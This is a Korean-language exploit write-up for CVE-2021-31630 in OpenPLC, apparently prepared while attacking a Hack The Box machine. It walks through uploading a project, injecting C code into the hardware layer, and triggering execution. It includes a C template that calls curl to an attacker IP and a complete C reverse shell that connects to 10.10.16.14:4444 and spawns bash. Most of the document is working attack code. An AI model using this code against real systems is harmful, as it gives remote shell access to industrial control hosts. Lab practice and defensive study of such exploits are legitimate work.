
OpenPLC의 CVE-2021-31630에 대한 익스플로잇으로, 악성 ST 파일 업로드 및 하드웨어 코드 인젝션을 통해 원격 코드 실행을 달성하는 Python 스크립트와 수동 단계를 제공합니다.
HTB 머신을 공격할 때 마주친 CVE입니다. exploit-db의 exp에는 오류가 있어서 수동 공격 방법과 exp를 제공합니다.
명령 실행 시 출력이 표시되지 않습니다
python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami"
백엔드의 공격 체인은 다음과 같습니다.
st 프로젝트를 생성하고 컴파일 → hardware 탭에 악성 코드를 추가한 후 프로젝트 본체에 컴파일 → start로 프로젝트를 실행하여 악성 코드 트리거
demo.st
PROGRAM prog0
VAR
var_in : BOOL;
var_out : BOOL;
END_VAR
var_out := var_in;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
PROGRAM Inst0 WITH Main : prog0;
END_RESOURCE
END_CONFIGURATION
백엔드 내장 템플릿을 기반으로 악성 코드가 추가된 c 파일
#include "ladder.h"
#include<stdlib.h>
//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
// int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
// int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
system("curl http://10.10.16.14:8000");
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
// Example Code - Overwritting %IW3 with a fixed value
// If you want to have %IW3 constantly reading a fixed value (for example, 53)
// you must add %IW3 to the ignored vectors above, and then just insert this
// single line of code in this function:
// if (int_input[3] != NULL) *int_input[3] = 53;
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
// Example Code - Sending %QW5 value over I2C
// If you want to have %QW5 output to be sent over I2C instead of the
// traditional output for your board, all you have to do is, first add
// %QW5 to the ignored vectors, and then define a send_over_i2c()
// function for your platform. Finally you can call send_over_i2c() to
// send your %QW5 value, like this:
// if (int_output[5] != NULL) send_over_i2c(*int_output[5]);
//
// Important observation: If your I2C pins are used by OpenPLC I/Os, you
// must also add those I/Os to the ignored vectors, otherwise OpenPLC
// will try to control your I2C pins and your I2C message won't work.
}
st 파일을 업로드하여 새 프로젝트를 생성합니다
upload 버튼을 클릭하여 컴파일을 시작합니다
다음 공격 단계를 실행하려면 프로젝트를 성공적으로 컴파일해야 합니다
hardware 탭에서 악성 코드를 주입합니다
아래의 save 버튼을 클릭하면 코드가 프로젝트에 컴파일됩니다
컴파일 성공 후 start 버튼을 클릭하면 악성 코드가 실행됩니다
출력(echo)을 성공적으로 수신했습니다
리버스 셸
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer()
{
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.14");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"bash", NULL};
execvp("bash", argv);
}
void updateCustomIn()
{
}
void updateCustomOut()
{
}